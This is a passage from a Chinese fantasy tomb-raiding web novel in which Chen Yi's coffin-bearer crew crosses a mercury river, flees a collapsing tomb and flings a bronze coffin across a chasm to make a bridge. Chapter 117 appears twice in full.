这里并非众人预想中金碧辉煌的主墓室,而是一个广阔无垠的地下溶洞。
溶洞的穹顶上,镶嵌着无数不知名的发光晶石,如同璀璨的星河,洒下清冷的光辉。
而在这片“星光”之下,一条宽阔的、泛着银色光泽的“河流”,静静地流淌着,将整个空间一分为二。
河面上,漂浮着无数模糊的人影,他们姿态各异,或仰或卧,随着河流缓缓漂流,无声无息。
“是……是水银河!”一个摸金校尉失声惊呼,声音里充满了恐惧,“那些……那些是‘汞尸’!”
张三爷的脸色也变得惨白如纸。
他死死地盯着那条水银河,又看了看河对岸那座被迷雾笼罩的、如同岛屿般的巨大祭台,嘴唇哆嗦着,一句话也说不出来。
陈义停下脚步,目光穿过那片迷雾,落在了祭台的中央。
他能感觉到,那股暴虐、凶戾的杀伐之气,源头就在那里。
同时,他肩上的青铜棺,撞击的频率和力度,也陡然增加了数倍。
仿佛里面的东西,感受到了某种召唤,迫不及待地想要出去。
“张三爷。”
陈义的声音冷了下来。
“看来,你还有很多事,没告诉我啊。”
第115章 一步踏出,汞河凝路,万尸朝拜!
陈义的声音并不响亮,却像一记无形的重锤,狠狠砸在张三爷的心口上。
张三爷浑身剧烈一颤。
那张脸在水银河反射的清冷光芒下,白得没有一丝血色。
他知道,完了。
再也瞒不住了。
“噗通!”
这位纵横墓道几十年的摸金门掌舵人,竟毫无征兆地双膝跪地,对着陈义的方向,重重磕下一个响头。
“八爷!是我张金城有眼不识泰山!是我猪油蒙了心!”
“求八爷救我摸金门上下几十口人的性命啊!”
他这一跪,身后那些还站着的摸金校尉也都慌了神,呼啦啦跪倒了一大片,场面狼狈至极。
胖三撇了撇嘴,压低声音对旁边的猴子嘀咕:“早干嘛去了,现在知道哭了,晚了!”
陈义没有说话。
他只是那么看着张三爷,眼神里的压力,比那整条奔流不息的水银河还要沉重,压得人喘不过气。
张三爷不敢起身,声音发颤,竹筒倒豆子般吼了出来。
“八爷,您有所不知!这冠军侯墓,根本就不是一座普通的墓葬!”
“它是一座‘养尸地’!”
“养尸地?”陈义眉峰一挑,这两个字背后蕴含的阴毒,他自然清楚。
“没错!”张三爷的声音带上了哭腔,“冠军侯生前杀戮过重,煞气缠身,死后不愿入轮回,便请了方士,设下这‘九龙锁棺’的绝户局,又以整座山的地脉为根基,布下了这座‘百鬼朝圣’的养尸大阵!”
他指着那条缓缓流淌的水银河,声音都在剧烈发抖。
“这条河,根本不是什么护城河!”
“它是‘往生池’,是阵眼!”
“千百年来,所有死在这山里的生灵,无论**,魂魄都会被强行拘来,炼化成最精纯的阴煞,投入这水银河中,成为这些汞尸的养料!”
“而这些汞尸,最终又会成为……成为那地煞将军的‘口粮’!”
此言一出,义字堂众人,除了陈义,脸色也都微微变了。
好歹毒的手段!
以万千生魂为柴,以剧毒汞尸为锅,只为熬炼一锅能让自己跳出三界、不在五行的绝世大药。
这冠军侯,是想把自己养成一尊真正的——尸王!
“那所谓的‘太一真丹’,又是什么?”陈义的声音冷得不带一丝温度。
“真丹……真丹就是这千年大阵所凝结的精华!”张三爷脸上写满了悔恨与绝望,“它就在对岸的祭台上,是维系整个大阵运转的核心!我摸金门的老太爷,早年探墓时被阴气所伤,阳火将熄,只有这蕴含了磅礴生命精元的真丹能救……我……我实在是没办法了,才出此下策!”
他抬起头,满眼血丝地望着陈义。
“八爷!只要能拿到真丹,救了我家老太爷,我摸金门愿世代为义字堂做牛做马!这墓里所有的陪葬品,我们分文不取,全都孝敬给您!”
陈义听完,笑了。
那笑意里,满是毫不掩饰的讥讽。
“张三爷,你到现在,还没说实话。”
张三爷心头猛地一跳:“八爷,我句句属实,绝无半句虚言!”
“是吗?”
陈义的目光,如同两柄无形的利剑,瞬间刺穿了他的心防。
“这养尸大阵的核心是太一真丹,一旦取走,大阵会如何?”
张三爷的脸色,在这一瞬间,彻底化为死灰。
“会……会崩塌……”他嘴唇哆嗦着,艰难地吐出几个字,“整座山……都会塌陷……”
“所以,你的算盘,是让我们义字堂帮你把最硬的骨头啃下来,等你拿到真丹,就立刻远走高飞,留我们在这里,给这冠军侯陪葬。”
陈义的声音很平静,像是在陈述一个事实。
“对吗?”
这最后三个字,一字一句,都像是锋利的冰刀,狠狠刮在张三爷的骨头上。
“我……我没有……我……”
张三爷语无伦次,森寒的冷汗瞬间浸透了后背。
他确实是这么想的。
这水银河,毒性剧烈,汞气蒸腾,更有无数汞尸,生人触之即死。他原本的计划,是利用义字堂的神通,强行渡河,等他们和地煞将军斗得两败俱伤时,他再趁机取走真丹,然后用祖传的“土遁符”逃之夭夭。
可他千算万算,没算到陈义的手段,根本不是他能想象的。
更没算到,对方的心思,比这千年古墓还要深沉。
“抬棺契,你签了。”
陈义不再看他,转头望向那片死寂的汞河,声音冷冽。
“契约上写的清清楚楚,入墓之后,一切由我说了算。”
“你想活命,就老老实实地听着。”
“再敢有二心……”
陈义没有说下去,但那未尽之言中的森然杀意,让张三爷如坠冰窟。他知道,自己按下血手印的那一刻,命运就已经不由自己掌控了。
“八爷……那……那这条河……”张三爷绝望地问道,“这可怎么过啊?这水银,别说人了,就是钢铁扔下去,也得化了!更别说那些汞尸,沾上一点,魂魄都要被撕碎……”
摸金门的人,一个个面如死灰。
这根本就是一条绝路。
然而,陈义只是淡淡地扫了一眼那条令人望而生畏的死亡之河,吐出了几个让所有人瞠目结舌的字。
“谁说,我们要‘过’河了?”
众人皆是一愣。
不过河?
不过河怎么到对岸去?长翅膀飞过去吗?
陈义没有解释,只是对着身后扛着青铜棺的七个兄弟,沉声喝道:“都抓稳了!”
他转过身,面向那条银光闪闪的水银河,深吸一口气,丹田之气猛然提起。
“我等乃——炎黄执绋人!”
“奉——义字当头!”
“今日,为冠军侯,送殡!”
他的声音,在这巨大的地下空间里轰然回荡,每一个字,都带着一股不容置疑的法度威严。
他不是在宣告。
而是在向这方天地,颁布一道“规矩”!
“生人过河,触犯禁忌,必死无疑。”
陈义的嘴角,勾起一抹冷冽的弧度。
“但我们,是送葬的队伍。”
“肩上扛着的,是此地的主人。”
“我们不是要‘过河’。”
“而是要——‘行路’!”
“主人归家,阴阳开道!”
“这是规矩
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!”
话音落下的瞬间,陈义扛着那沉重的青铜棺,在所有人惊骇欲绝的目光中,向前迈出了一步。
一步,踏出。
他的脚,稳稳地,落在了那流淌的水银河面之上!
没有下沉。
没有腐蚀。
甚至没有溅起一丝涟漪。
那足以融化钢铁、毒杀生魂的剧毒汞液,此刻,竟在他脚下温顺地凝结成一块坚实的琉璃地面,稳稳地托住了他的身体。
“跟上!”
陈义低喝一声,再次迈步。
他身后,大牛、猴子、老七……义字堂的七名汉子,没有丝毫犹豫,跟随着他的步伐,同样踏上了水银河。
八个人,扛着一口巨大的青铜棺,就这么一步一步,走在了那条死亡之河上!
“八仙抬棺阵”形成的无形阳气场,将他们牢牢护在其中。
更重要的是,他们此刻的“身份”,是送葬的执绋人。
他们所行的,是天地间最古老的“礼”。
在“礼”面前,一切凶煞禁忌,皆要退避!
河面上,那些原本漫无目的漂浮着的汞尸,似乎感应到了某种至高的法度,竟齐刷刷地转过身躯,面向这支诡异的送葬队伍。
它们空洞的眼眶里,没有怨毒,没有攻击性,只有一种麻木的、源自本能的敬畏。
它们缓缓地,向着河流两岸退去,自动让开了一条宽阔的通道。
那场面,诡异到了极点。
它们不再是索命的恶鬼。
而是变成了在道路两旁,为一位大人物的出殡队伍,肃立让道的……仪仗队。
张三爷和他的一众手下,已经彻底傻了。
他们还跪在岸边,张大了嘴,看着那支扛着棺材,在水银河上闲庭信步的队伍,感觉自己的脑子已经彻底变成了一团浆糊。
这……
这他妈也行?
还能这么玩?
胖三走在队伍里,心里虽然也慌得一批,但看着岸上那群摸金校尉目瞪口呆的傻样,一股莫名的自豪感油然而生。
他扭头,冲着岸边挤眉弄眼,压低声音,用口型无声地说道:
“学着点!”
那嚣张的模样,气得一个年轻的摸金校尉差点一口气没上来,当场昏死过去。
队伍平稳地行进在水银河的中央。
脚下是剧毒的银色长河,两旁是沉默的汞尸仪仗。
头顶是清冷的星辉穹顶,前方是迷雾笼罩的神秘祭台。
这一幕,亘古未有。
扛在肩上的青铜棺,此刻也出奇地安静了下来。
那“咚咚”的撞击声消失了,仿佛棺中的地煞将军,也被这匪夷所思的一幕给彻底镇住了。
他或许也从未想过,自己有朝一日,会以这种方式,“巡视”自己的“领地”。
很快,队伍便走到了水银河的尽头,稳稳地踏上了对岸的陆地。
当最后一个人踏上祭台的瞬间,他们身后的水银河,又恢复了原样,那些汞尸,也重新开始漫无目的地漂流,仿佛刚才的一切,都只是一场宏大而荒诞的幻觉。
陈义将肩上的青铜棺,重重地往地上一顿。
“咚!”
一声闷响,回荡在死寂的祭台之上。
第117章 扛着地狱,杀出一条生路!
张三爷的脑子,彻底成了一锅沸腾的浆糊。
他听见了陈义的话,但理智却无法处理这其中的含义。
那是一种比死亡更深邃的恐惧。
“陈……陈八爷……”
张三爷的声音发颤,牙齿磕碰,不成调子。
他指着那口死寂无声的青铜巨棺,那棺材此刻比任何时候都更让人心头发毛,他脸上的血色褪得一干二净。
“什么意思?”
陈义咧嘴,一口白牙在摇曳的墓室中,闪烁着比鬼火更瘆人的寒光。
他没有解释。
他只是伸手指了指那口棺材,又指了指张三爷那只被血色“奠”字烙印的手背。
一个简单的动作,却让张三爷瞬间明白了所有!
主人?
不!
那不是主人!那是催命的阎王!
之前的地煞将军,是一头饥饿的凶兽,目标明确,是为了升仙。
可现在,这棺材里封着的,是一个被强行灌下“剧毒补药”,升仙之路被彻底斩断,连自己温养千年的“卵”都成了永恒囚笼的……疯子!
一个只剩下无尽痛苦和怨毒的绝世凶物!
这口棺材,不再是**桶。
它就是地狱本身!
“不!不!我不要了!这东西我不要了!”
张三爷一个激灵,像是被万千条毒蛇噬咬,连滚带爬地后退,一屁股跌坐在地,双手疯狂摆动。
陈义缓缓蹲下身,脸上挂着恶劣的笑容,伸手,轻轻拍了拍张三爷的脸颊。
“张三爷,咱们签了‘抬棺契’。”
“白纸黑字,血印为证。”
“我义字堂的活儿干完了,你要的东西,也给你‘装’进去了。”
他的声音很轻,却带着不容置喙的冰冷。
“契约,不是跟我签的。”
“是跟你,跟这口棺材,跟这方天地间的规矩签的。”
“你说不要?”
陈义的目光,越过张三爷,望向那无尽的黑暗。
“你猜,它会不会半夜敲你家门,亲自跟你聊聊这‘太一真丹’的药效?”
张三爷的身体剧烈地颤抖起来,他仿佛已经看见,那口青铜巨棺悄无声息地立在自家床头,棺盖的缝隙里,一只冰冷的爪子,正缓缓伸出……
轰隆——!
一声雷鸣般的巨响在头顶炸开!
一块磨盘大小的巨石裹挟着死亡的劲风,轰然砸在不远处,炸成漫天碎石!
整个祭台的晃动已经不能用“剧烈”来形容,而是如同风暴里的一叶扁舟,随时都会倾覆散架。
青铜升仙树正在加速枯萎,大块大块的树皮剥落,露出里面败絮般的结构。
水银河彻底暴走,银色的巨浪冲天而起,拍打着祭台边缘,发出“滋滋”的腐蚀声。
无数汞尸在浪涛中翻滚,齐齐将空洞的眼窝,转向祭台上的活人!
“完了!山要塌了!路被堵**!”一个摸金校尉指着来时的方向,发出绝望的尖叫。
那条由陈义踏出的“实路”,早已消失,重新化为剧毒的河流。
更远处的墓道入口,被无数坠落的巨石彻底封死!
这里,已是绝地!
“张三爷!寻龙盘!”有人嘶吼。
张三爷如梦初醒,颤抖着掏出罗盘,可一看之下,他那本就惨白的脸,瞬间化为死灰。
罗盘的指针,疯了。
它毫无规律地狂转,时而指天,时而指地,最后“咔”的一声,从中轴处断裂。
“没用了……”
张三爷的声音带着哭腔,“阵心一毁,地气乱了!阴阳逆转,乾坤颠倒……这里已经没有生门!”
绝望,如同瘟疫,在所有摸金校尉的心中蔓延。
“吵什么?”
陈义冰冷的声音,如同一柄铁锤,砸在众人心头。
他站起身,环顾四周,眼中非但没有半分绝望,反而燃烧起一股滔天的战意。
“路,是走出来的!”
他走到那口青铜棺前,再次拍了拍棺盖,动作很轻,带着安抚。
“侯爷,别闹了。”
“想出去,就得听我的。”
诡异的一幕发生了。
那口棺材,竟真的微微一震,仿佛在回应。
陈义转过身,目光如电,直刺张三爷。
“张三爷,你摸金门祖师爷,在没有罗盘的时候,就不下地了?”
张三爷浑身一震,一个几乎被遗忘的词汇,从记忆深处浮现。
“望……望气……”
“没错!”陈义嘴角一撇,“用你的眼睛,去看!去看这片混沌之中,那唯一的一线生机!”
“你不是要救你家老太爷吗?拿出你摸金门传承千年的真本事来!别让我觉得,你们只是一群会摆弄瓶瓶罐罐的废物!”
张三爷怔怔地看着陈义。
他忽然明白了,陈义从一开始,就没指望他那些仪器。
他要的,是摸金门刻在骨子里的……堪舆之术!
“我……我试试!”
张三爷咬碎了后槽牙,从地上爬起,这是他们唯一的活路!
他摸出一个瓷瓶,倒出两粒赤红药丸,囫囵吞下。
片刻后,他的双眼竟渗出鲜血,瞳孔中泛起一层诡异的血光!
“燃血开眼!”
张三爷的双眼刺痛无比,整个世界在他眼中都变了模样。
不再是岩石、土地,而是一团团狂暴混乱的能量气流。青色的阴煞,赤色的地火,黑色的死气,交织成一幅末日画卷!<
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br>他看得头晕目眩,七窍渗血,却死死支撑着,寻找着那若有若无的“通路”。
“找到了!”
数息之后,张三爷猛地指向左前方一处看似坚实的岩壁,用尽全身力气嘶吼。
“那里!‘惊门’位!有一道地气裂隙,一个呼吸后就会闭合!”
“很好。”
陈义赞许地点头,猛然回头,对着身后那七个早已将生死置之度外的兄弟,发出了振聋发聩的咆哮。
“义字堂,听令!”
“咱们的活还没干完!客人还没送到家!”
“八仙抬棺,再起——灵!”
胖三、大牛、猴子等人,早已站回阵位。
他们伤痕累累,阳气亏空,但眼神却亮得惊人!
听到“起灵”二字,八人同时沉腰下马,双手再次扣住了那口冰冷沉重的青铜巨棺!
这一次,他们要抬的,不仅仅是一口棺材。
是他们所有人的……命!
“张三爷!”陈义的声音在轰鸣中炸响,“你摸金门不是要抬这口棺吗?现在,机会来了!”
他看向那群吓傻的摸金校尉。
“你负责望气寻路,他们,负责在前面给老子清障开道!”
“我们抬棺,你们开路!”
“谁敢掉链子,不用等山塌,我先送他上路!”
摸金校尉们一个哆嗦,求生的本能压倒了恐惧,纷纷抄起工具,死死盯住张三爷手指的方向。
“起!”
陈义一声暴喝,八人合力,青筋暴起!
那口刚刚才砸毁了升仙树的青铜巨棺,再一次,被他们从地面上硬生生地抬了起来!
嗡——!
棺材离地的瞬间,一股比之前沉重十倍不止的恐怖重量,猛地压在八人身上!
这不只是物理上的重量,更是棺内那头疯兽无穷的怨念与恶意!
更是与这整片颠倒的乾坤为敌的重量!
噗!
除了陈义,其余七人齐齐喷出一口混合着内脏碎末的鲜血,全身骨骼发出不堪重负的“咯吱”声,双腿一软,险些当场跪下!
“稳住!”
陈义目眦欲裂,喉咙里发出野兽般的低吼,【炎黄令】的紫金龙气毫无保留地灌入阵中,强行稳住即将崩溃的阵型!
他能感觉到,这口棺材,就是这片混乱风水中的“定海神针”!
只有扛着它,他们才能在这场天地之威的**中,踏上那条唯一的生路!
“走!”
陈义扛着杠木,率先迈出了一步!
那一步,仿佛踏碎了虚空!
义字堂八人,扛着一口封印着绝世凶物的青铜巨棺,在即将崩塌的千年古墓中,朝着那堵代表着绝望的岩壁,发起了亡命的冲锋!
第117章 扛着地狱,杀出一条生路!
张三爷的脑子,彻底成了一锅沸腾的浆糊。
他听见了陈义的话,但理智却无法处理这其中的含义。
那是一种比死亡更深邃的恐惧。
“陈……陈八爷……”
张三爷的声音发颤,牙齿磕碰,不成调子。
他指着那口死寂无声的青铜巨棺,那棺材此刻比任何时候都更让人心头发毛,他脸上的血色褪得一干二净。
“什么意思?”
陈义咧嘴,一口白牙在摇曳的墓室中,闪烁着比鬼火更瘆人的寒光。
他没有解释。
他只是伸手指了指那口棺材,又指了指张三爷那只被血色“奠”字烙印的手背。
一个简单的动作,却让张三爷瞬间明白了所有!
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那不是主人!那是催命的阎王!
之前的地煞将军,是一头饥饿的凶兽,目标明确,是为了升仙。
可现在,这棺材里封着的,是一个被强行灌下“剧毒补药”,升仙之路被彻底斩断,连自己温养千年的“卵”都成了永恒囚笼的……疯子!
一个只剩下无尽痛苦和怨毒的绝世凶物!
这口棺材,不再是**桶。
它就是地狱本身!
“不!不!我不要了!这东西我不要了!”
张三爷一个激灵,像是被万千条毒蛇噬咬,连滚带爬地后退,一屁股跌坐在地,双手疯狂摆动。
陈义缓缓蹲下身,脸上挂着恶劣的笑容,伸手,轻轻拍了拍张三爷的脸颊。
“张三爷,咱们签了‘抬棺契’。”
“白纸黑字,血印为证。”
“我义字堂的活儿干完了,你要的东西,也给你‘装’进去了。”
他的声音很轻,却带着不容置喙的冰冷。
“契约,不是跟我签的。”
“是跟你,跟这口棺材,跟这方天地间的规矩签的。”
“你说不要?”
陈义的目光,越过张三爷,望向那无尽的黑暗。
“你猜,它会不会半夜敲你家门,亲自跟你聊聊这‘太一真丹’的药效?”
张三爷的身体剧烈地颤抖起来,他仿佛已经看见,那口青铜巨棺悄无声息地立在自家床头,棺盖的缝隙里,一只冰冷的爪子,正缓缓伸出……
轰隆——!
一声雷鸣般的巨响在头顶炸开!
一块磨盘大小的巨石裹挟着死亡的劲风,轰然砸在不远处,炸成漫天碎石!
整个祭台的晃动已经不能用“剧烈”来形容,而是如同风暴里的一叶扁舟,随时都会倾覆散架。
青铜升仙树正在加速枯萎,大块大块的树皮剥落,露出里面败絮般的结构。
水银河彻底暴走,银色的巨浪冲天而起,拍打着祭台边缘,发出“滋滋”的腐蚀声。
无数汞尸在浪涛中翻滚,齐齐将空洞的眼窝,转向祭台上的活人!
“完了!山要塌了!路被堵**!”一个摸金校尉指着来时的方向,发出绝望的尖叫。
那条由陈义踏出的“实路”,早已消失,重新化为剧毒的河流。
更远处的墓道入口,被无数坠落的巨石彻底封死!
这里,已是绝地!
“张三爷!寻龙盘!”有人嘶吼。
张三爷如梦初醒,颤抖着掏出罗盘,可一看之下,他那本就惨白的脸,瞬间化为死灰。
罗盘的指针,疯了。
它毫无规律地狂转,时而指天,时而指地,最后“咔”的一声,从中轴处断裂。
“没用了……”
张三爷的声音带着哭腔,“阵心一毁,地气乱了!阴阳逆转,乾坤颠倒……这里已经没有生门!”
绝望,如同瘟疫,在所有摸金校尉的心中蔓延。
“吵什么?”
陈义冰冷的声音,如同一柄铁锤,砸在众人心头。
他站起身,环顾四周,眼中非但没有半分绝望,反而燃烧起一股滔天的战意。
“路,是走出来的!”
他走到那口青铜棺前,再次拍了拍棺盖,动作很轻,带着安抚。
“侯爷,别闹了。”
“想出去,就得听我的。”
诡异的一幕发生了。
那口棺材,竟真的微微一震,仿佛在回应。
陈义转过身,目光如电,直刺张三爷。
“张三爷,你摸金门祖师爷,在没有罗盘的时候,就不下地了?”
张三爷浑身一震,一个几乎被遗忘的词汇,从记忆深处浮现。
“望……望气……”
“没错!”陈义嘴角一撇,“用你的眼睛,去看!去看这片混沌之中,那唯一的一线生机!”
“你不是要救你家老太爷吗?拿出你摸金门传承千年的真本事来!别让我觉得,你们只是一群会摆弄瓶瓶罐罐的废物!”
张三爷怔怔地看着陈义。
他忽然明白了,陈义从一开始,就没指望他那些仪器。
他要的,是摸金门刻在骨子里的……堪舆之术!
“我……我试试!”
张三爷咬碎了后槽牙,从地上爬起,这是他们唯一的活路!
他摸出一个瓷瓶,倒出两粒赤红药丸,囫囵吞下。
片刻后,他的双眼竟渗出鲜血,瞳孔中泛起一层诡异的血光!
“燃血开眼!”
张三爷的双眼刺痛无比,整个世界在他眼中都变了模样。
不再是岩石、土地,而是一团团狂暴混乱的能量气流。青色的阴煞,赤色的地火,黑色的死气,交织成一幅末日画卷!<
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“找到了!”
数息之后,张三爷猛地指向左前方一处看似坚实的岩壁,用尽全身力气嘶吼。
“那里!‘惊门’位!有一道地气裂隙,一个呼吸后就会闭合!”
“很好。”
陈义赞许地点头,猛然回头,对着身后那七个早已将生死置之度外的兄弟,发出了振聋发聩的咆哮。
“义字堂,听令!”
“咱们的活还没干完!客人还没送到家!”
“八仙抬棺,再起——灵!”
胖三、大牛、猴子等人,早已站回阵位。
他们伤痕累累,阳气亏空,但眼神却亮得惊人!
听到“起灵”二字,八人同时沉腰下马,双手再次扣住了那口冰冷沉重的青铜巨棺!
这一次,他们要抬的,不仅仅是一口棺材。
是他们所有人的……命!
“张三爷!”陈义的声音在轰鸣中炸响,“你摸金门不是要抬这口棺吗?现在,机会来了!”
他看向那群吓傻的摸金校尉。
“你负责望气寻路,他们,负责在前面给老子清障开道!”
“我们抬棺,你们开路!”
“谁敢掉链子,不用等山塌,我先送他上路!”
摸金校尉们一个哆嗦,求生的本能压倒了恐惧,纷纷抄起工具,死死盯住张三爷手指的方向。
“起!”
陈义一声暴喝,八人合力,青筋暴起!
那口刚刚才砸毁了升仙树的青铜巨棺,再一次,被他们从地面上硬生生地抬了起来!
嗡——!
棺材离地的瞬间,一股比之前沉重十倍不止的恐怖重量,猛地压在八人身上!
这不只是物理上的重量,更是棺内那头疯兽无穷的怨念与恶意!
更是与这整片颠倒的乾坤为敌的重量!
噗!
除了陈义,其余七人齐齐喷出一口混合着内脏碎末的鲜血,全身骨骼发出不堪重负的“咯吱”声,双腿一软,险些当场跪下!
“稳住!”
陈义目眦欲裂,喉咙里发出野兽般的低吼,【炎黄令】的紫金龙气毫无保留地灌入阵中,强行稳住即将崩溃的阵型!
他能感觉到,这口棺材,就是这片混乱风水中的“定海神针”!
只有扛着它,他们才能在这场天地之威的**中,踏上那条唯一的生路!
“走!”
陈义扛着杠木,率先迈出了一步!
那一步,仿佛踏碎了虚空!
义字堂八人,扛着一口封印着绝世凶物的青铜巨棺,在即将崩塌的千年古墓中,朝着那堵代表着绝望的岩壁,发起了亡命的冲锋!
第118章 禁忌之招!飞棺渡厄,仙人搭桥!
“左前方,‘景门’转‘杜门’!走‘之’字!快!那里的地气在塌陷!”
张三爷双目赤红。
他声嘶力竭地咆哮着。
他眼中的世界,是一片能量的海洋。
那条所谓的“生路”,比头发丝还要纤细。
并且,它在以肉眼可见的速度不断崩断、重组。
他每喊出一个字,嘴角溢出的鲜血就多一分。
这“燃血开眼”的秘术,看的不是风水,是天机。
消耗的是他自己的寿元。
“变阵!‘青龙摆尾’!”
陈义的吼声紧随其后。
简洁而充满力量。
义字堂七人闻声而动。
脚下步法瞬间变换。
扛在肩上的万钧巨棺,竟如同活物。
它在狭窄的通道内划出一道不可思议的弧线。
精准地避开了一处从地面喷涌而出的赤红色地火。
地火带着硫磺气息。
火焰燎过。
跟在最后的一个摸金校尉躲闪不及。
他的裤腿瞬间化为灰烬。
吓得他魂飞魄散。
他连滚带爬地跟上队伍。
他们此刻行走的“路”,早已不是物理意义上的墓道。
四面八方都是崩塌的岩石。
脚下是深不见底的裂隙。
头顶是摇摇欲坠的穹顶。
他们仿佛行走在一场三维的俄罗斯方块游戏里。
所有的方块,都在以最快的速度砸向他们。
但诡异的是。
只要他们踏在张三爷所指的方位上。
那些致命的危险,便会恰到好处地与他们擦肩而过。
这就是摸金校尉的“望气寻龙”之术。
与抬棺匠“八仙抬棺阵”的第一次真正意义上的结合。
张三爷以寿元为代价。
他窥得天地混沌中的一线“虚”。
那是能量流转的缝隙。
而陈义则率领义字堂。
他扛着那口沉重无比、煞气冲天的青铜棺。
以“实”镇“虚”。
他将这道缝隙强行撑开,化为一条可供通行的“路”!
青铜棺内的地煞将军,此刻反而成了最关键的“工具”。
它那狂暴的能量,与外界混乱的地气形成了某种微妙的平衡。
八仙抬棺阵就像一个精密的控制器。
它引导着这股力量。
让这支诡异的队伍,如同在惊涛骇浪中乘风破浪的冲浪手。
每一次都在浪尖上起舞。
“**!老大!这他妈比在高速上开到二百八还刺激!”
胖三一张肥脸煞白。
汗水混着血水往下淌。
他却还有力气鬼叫:“咱们这趟活儿的报价是不是得重新算算?这得按航空航天标准收费了吧!每人还得加个太空意外险!”
“闭嘴!跟上步点!”
陈义厉声喝断。
“再多说一句,我把你扔下去当地基!”
胖三脖子一缩。
他立刻闭上了嘴。
只是嘴里还在小声嘀咕:“扔我下去?我这吨位,下去直接把路堵**,大家一起玩完……”
跟在后面的摸金校尉们,一个个早已看傻了。
他们引以为傲的寻龙点穴、分金定穴,在今天这种天地之威面前,脆弱得像一张纸。
而这群在他们眼中只配出苦力的“执绋人”,却用一种他们完全无法理解的方式。
他们扛着一口比山还重的棺材,在这片绝地中闲庭信步。
这哪里是抬棺?
这分明是在抬着一座移动的山。
它**着脚下这片即将颠覆的乾坤!
“哗啦啦——!”
就在此时。
一阵令人牙酸的金属摩擦声和液体流动的声音,从他们身后急速传来。
陈义目光锐利一凝。
那条暴走的水银河,竟然没有停留在祭台范围!
它如同有了生命一般。
化作一条银色的巨**。
它冲垮了沿途的一切阻碍。
它正循着他们这些“活物”的气息,汹涌而来!
河中。
那成千上万的汞尸,如同被牧人驱赶的羊群。
密密麻麻,前赴后继。
惨白的手臂在银色的浪涛中挥舞,朝着他们抓来。
“不好!是‘往生池’的阴气反噬!”
张三爷面色骤变。
“升仙树一倒,镇不住这些东西了!它们要找替死鬼!”
水银巨浪的速度极快。
转眼间就追到了队伍的末尾。
“啊!”
一个跑在最后的摸金校尉脚下一滑。
他瞬间被银色的浪头卷住。
他只来得及发出一声短促的惨叫。
整个人就像是掉进了浓硫酸里。
在一阵青烟中迅速消融。
连骨头都没剩下。
“快!快跑!”
其他人吓得亡魂皆冒。
拼了命地往前冲。
“前方!三百米!‘死门’断崖!没路了!”
张三爷看着前方的景象。
他发出了绝望的呐喊。
在他们前方,出现了一道深不见底的巨大裂谷。
它宽达百米。
仿佛一张择人而噬的巨口。
它彻底截断了去路。
而张三爷眼中那条纤细的“生路”,就这么凭空消失在了断崖边。
前有绝路,后有追兵!
“胖三!迎宾棺!”
陈义的声音在这一刻,冷静得可怕。
“得嘞!”
胖三应了一声。
他反手就将一直背在身后的那口百年柳木迎宾棺给卸了下来。
“开棺!”
陈义在喝。
大牛怒吼一声。
他松开一只扛着青铜棺的手。
转身一掌拍在迎宾棺的棺盖上。
“砰!”
棺盖应声而开。
一股纯阳吸力自黑洞洞的棺口喷薄而出。
那汹涌而来的水银巨浪,在接触到这股吸力的瞬间。
它竟如同被无形的堤坝挡住。
前进的势头猛地一滞!
一些冲在最前面的汞尸,甚至被硬生生从浪涛中扯了出来。
惨叫着被吸入棺中。
瞬间化为青烟。
迎宾棺,竟凭一己之力,暂时挡住了这“往生池”的反噬!
但所有人都知道,这只是权宜之计。
迎宾棺的力量虽强。
但水银河中的阴煞之气无穷无尽。
它撑不了多久。
“八爷!怎么办?”
猴子急得满头大汗。
陈义的目光死死盯着那百米宽的断崖。
他又看了看肩上这口躁动不安的青铜巨棺。
一个疯
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狂到极致的念头,在他脑中瞬间成型。
“义字堂的兄弟,怕死吗?”
他忽然问道。
“八爷你说啥呢!跟着你,阎王殿咱都敢去掀了他的桌子!”
大牛瓮声瓮气地吼道。
“就是!十八年后又是一条好汉!”
“干就完了!”
兄弟们的回应,没有半分犹豫。
“好!”
陈义眼中爆发出骇人的精光。
“那今天,就让摸金门的各位爷,见识见识,咱们抬棺匠的规矩里,最霸道的一条!”
他深吸一口气。
对着所有人,吼出了那个连义字堂的祖师爷都只敢记录在册,却严令后人轻易尝试的禁忌之招。
“八仙抬棺最终式,第二段——”
“仙!人!搭!桥!”
话音未落。
他猛地一跺脚。
整个八仙抬棺阵的气机瞬间逆转。
八人不再是“扛”,而是变成了“托”!
他们将全身的阳气,连同【炎黄令】的紫金龙气。
全部灌注到青铜棺的底部。
形成了一股恐怖的向上推力。
“猴子!老七!缚龙索!”
猴子和老七反应极快。
他们闪电般从腰间解下那两条浸泡过**血的粗大绳索。
一端死死缠在自己手臂上。
另一端则扣在了青铜棺两侧的兽首铜环上。
“你要干什么?!”
张三爷看着这一幕。
他忽然有了一种极其不祥的预感。
陈义没有回答他。
他只是用尽全身的力气。
朝着断崖的对岸,发出了石破天惊的怒吼。
“都给老子抓稳了!”
“送——侯!爷——过——河!”
“轰!”
一声巨响!
那口重逾万钧的青桐巨棺,在八人合力形成的恐怖推力下。
它如同被投石机抛出的巨石。
竟带着撕裂空气的尖啸。
它脱离了他们的肩膀。
腾空而起!
它化作一道青黑色的残影。
划破了黑暗的墓穴空间。
它朝着百米之外的断崖对岸,狠狠地飞了过去!
在它身后。
两条绷得笔直的“缚龙索”,就是它与这个世界的唯一连接!
时间,在这一刻仿佛静止。
所有人都屏住了呼吸。
他们目瞪口呆地看着这神话般的一幕。
用一口封印着绝世凶物的棺材。
当做飞索的锚点。
在百米宽的绝命断崖上。
搭建一座通往生天的桥梁!
这哪里是抬棺匠?
这他妈是疯子!
一群彻头彻尾的疯子!
“轰隆!”
在所有人震撼的目光中。
青铜巨棺带着万钧之势,重重地砸在了断崖对岸的岩体上。
整个山体都为之剧震。
无数碎石簌簌落下。
棺材的边角,深深地嵌入了坚硬的岩石之中。
稳住了!
两道横跨深渊的“缚龙索”,在半空中绷得笔直。
它们闪烁着被阳气浸染的淡淡金光。
一座由棺材和绳索组成的,通往生门的桥。
就这么以一种最狂野、最霸道、最不可思议的方式。
它横亘在了众人面前!
第119章 一棺搭桥,八仙渡渊!
“桥……搭好了。”
一个摸金校尉失魂落魄地喃喃自语,声音里是劫后余生的虚脱,和几乎要将理智撕碎的荒谬感。
百米深渊之上,两条浸透着阳刚气血的“缚龙索”绷得笔直,像是两道划破永恒黑暗的金色琴弦。
深渊对岸,那口万钧之重的青铜巨棺,如同一颗楔入山体的巨大獠牙,死死钉在那里,成了这座“桥梁”最狂野、最霸道的锚点。
身后,是水银长河汹涌的咆哮。
是迎宾棺苦苦支撑,发出的不堪重负的嗡鸣。
前有绝路,后有狂涛。
